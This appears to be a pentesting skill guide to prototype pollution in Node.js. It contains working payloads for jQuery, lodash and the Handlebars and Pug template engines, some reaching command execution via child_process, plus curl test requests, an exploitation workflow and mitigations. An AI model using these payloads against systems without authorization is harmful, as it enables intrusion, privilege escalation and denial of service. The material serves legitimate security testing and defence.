Node.js Prototype Pollution Pentesting
A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.
What is Prototype Pollution?
Prototype pollution is a JavaScript vulnerability where an attacker can modify the Object.prototype or other object prototypes, affecting all objects that inherit from them. This can lead to:
- Denial of Service (DoS) - Adding properties that break application logic
- Remote Code Execution (RCE) - Injecting code through template engines
- Privilege Escalation - Setting
admin: trueon all user objects - Cross-Site Scripting (XSS) - Polluting HTML element properties
When to Use This Skill
Use this skill when:
- Testing Node.js applications for prototype pollution
- Analyzing deserialization vulnerabilities
- Investigating jQuery, lodash, or other library vulnerabilities
- Testing template engines (Handlebars, Pug, EJS)
- Reviewing code that uses recursive merge functions
- Analyzing JSON input handling
Quick Reference: Attack Vectors
1. Direct Object.prototype Pollution
// Pollute Object.prototype directly
Object.prototype.isAdmin = true
Object.prototype.toString = () => { alert("polluted") }
// Via __proto__
Object.assign({}, { __proto__: { isAdmin: true } })
// Via constructor
({}).constructor.prototype.isAdmin = true
2. Constructor Prototype Pollution
// Pollute specific constructor
Vehicle.prototype.beep = function() { console.log("beep") }
// Via constructor.prototype
example.constructor.prototype.greet = function() { console.log("hello") }
3. Array Index Pollution
// Pollute array by index
a = []
a.constructor.prototype[1] = "yolo"
b = []
console.log(b[1]) // "yolo"
4. HTML Element Pollution (Client-side XSS)
// Pollute innerHTML
settings[root][innerHTML] = "<svg
// Pollute ownerDocument to prevent overwrites
settings[root][ownerDocument][body][innerHTML] = "<svg
Common Vulnerable Libraries
jQuery (CVE-2019-11358)
// Vulnerable code
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // true
// Test payload
{
"__proto__": {
"isAdmin": true,
"devMode": true
}
}
Lodash (CVE-2018-3721, CVE-2019-10744)
// Vulnerable in versions < 4.17.11
_.merge({}, { __proto__: { admin: true } })
_.defaults({}, { __proto__: { admin: true } })
_.assign({}, { __proto__: { admin: true } })
// Test payload
{
"__proto__": {
"admin": true,
"role": "administrator"
}
}
Handlebars Template Engine
// AST-based pollution for RCE
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value: "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}
],
loc: { start: 0, end: 0 }
}
]
// HTTP payload
{
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync('id')"
}],
"loc": { "start": 0, "end": 0 }
}]
}
Pug Template Engine
// AST-based pollution for RCE
{
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('id')"
}
}
Detection Techniques
1. Identify Vulnerable Patterns
Look for these code patterns:
// Recursive merge functions
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
// Object.assign with __proto__
Object.assign({}, userInput)
// JSON.parse without validation
const data = JSON.parse(request.body)
2. Check for Prototype Access
// Check if __proto__ is accessible
console.log({}.__proto__)
// Check if Object.prototype can be modified
Object.prototype.test = true
console.log({}.test) // true = vulnerable
3. Test Input Validation
// Test various payload formats
{
"__proto__": { "isAdmin": true }
}
{
"constructor": { "prototype": { "isAdmin": true } }
}
{
"__proto__": { "toString": "polluted" }
}
Exploitation Workflow
Step 1: Reconnaissance
Identify the technology stack
- Check for Node.js, Express, Koa
- Identify JavaScript libraries (jQuery, lodash, etc.)
- Look for template engines (Handlebars, Pug, EJS)
Find input vectors
- JSON API endpoints
- Query parameters
- POST body data
- Cookie values
- URL parameters
Step 2: Initial Testing
# Test basic prototype pollution
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
# Test constructor pollution
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
# Test with different encodings
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
Step 3: Verify Pollution
// Check if pollution worked
console.log({}.isAdmin) // Should be true if polluted
// Check for side effects
console.log({}.toString) // Should be function if not polluted
Step 4: Exploit the Vulnerability
// Privilege escalation
Object.prototype.isAdmin = true
Object.prototype.role = "admin"
// DoS
Object.prototype.toString = () => { throw new Error("DoS") }
// RCE via template engines
Object.prototype.type = "Program"
Object.prototype.body = [{
type: "MustacheStatement",
path: 0,
params: [{
type: "NumberLiteral",
value: "require('child_process').execSync('id')"
}]
}]
Automated Testing Scripts
Use the bundled scripts for automated testing:
scripts/generate-pollution-payloads.js- Generate various prototype pollution payloadsscripts/test-endpoint.js- Test endpoints for prototype pollutionscripts/check-library-versions.js- Check for vulnerable library versions
Mitigation Strategies
For Developers
Freeze Object.prototype
Object.freeze(Object.prototype)Use Object.create(null)
const safeObject = Object.create(null)Validate Input
function safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue } if (typeof source[key] === 'object') { target[key] = safeMerge(target[key] || {}, source[key]) } else { target[key] = source[key] } } return target }Use Map instead of Object
const data = new Map() data.set('key', 'value')Update Libraries
- lodash >= 4.17.11
- jQuery >= 3.4.0
- flat >= 3.0.0
For Pentesters
Use detection tools
- Server-Side-Prototype-Pollution-Gadgets-Scanner (Burp Suite)
- server-side-prototype-pollution (Burp Suite)
Check for known CVEs
- CVE-2019-11358 (jQuery)
- CVE-2018-3721, CVE-2019-10744 (lodash)
- CVE-2019-7609 (Kibana)
Test edge cases
- Different encodings
- Nested objects
- Array indices
- Constructor chains
References
- PortSwigger Research - Server-Side Prototype Pollution
- KTH LangSec - Server-Side Prototype Pollution Gadgets
- Doyensec - Prototype Pollution Gadgets Scanner
- Node.js Prototype Pollution Paper
Next Steps
After identifying a prototype pollution vulnerability:
- Document the finding - Include proof of concept
- Assess impact - Determine what can be achieved
- Test for RCE - Try template engine exploitation
- Check for privilege escalation - Test admin flags
- Look for chainable vulnerabilities - Combine with other issues
Use the scripts in this skill package to automate testing and generate payloads for your specific target.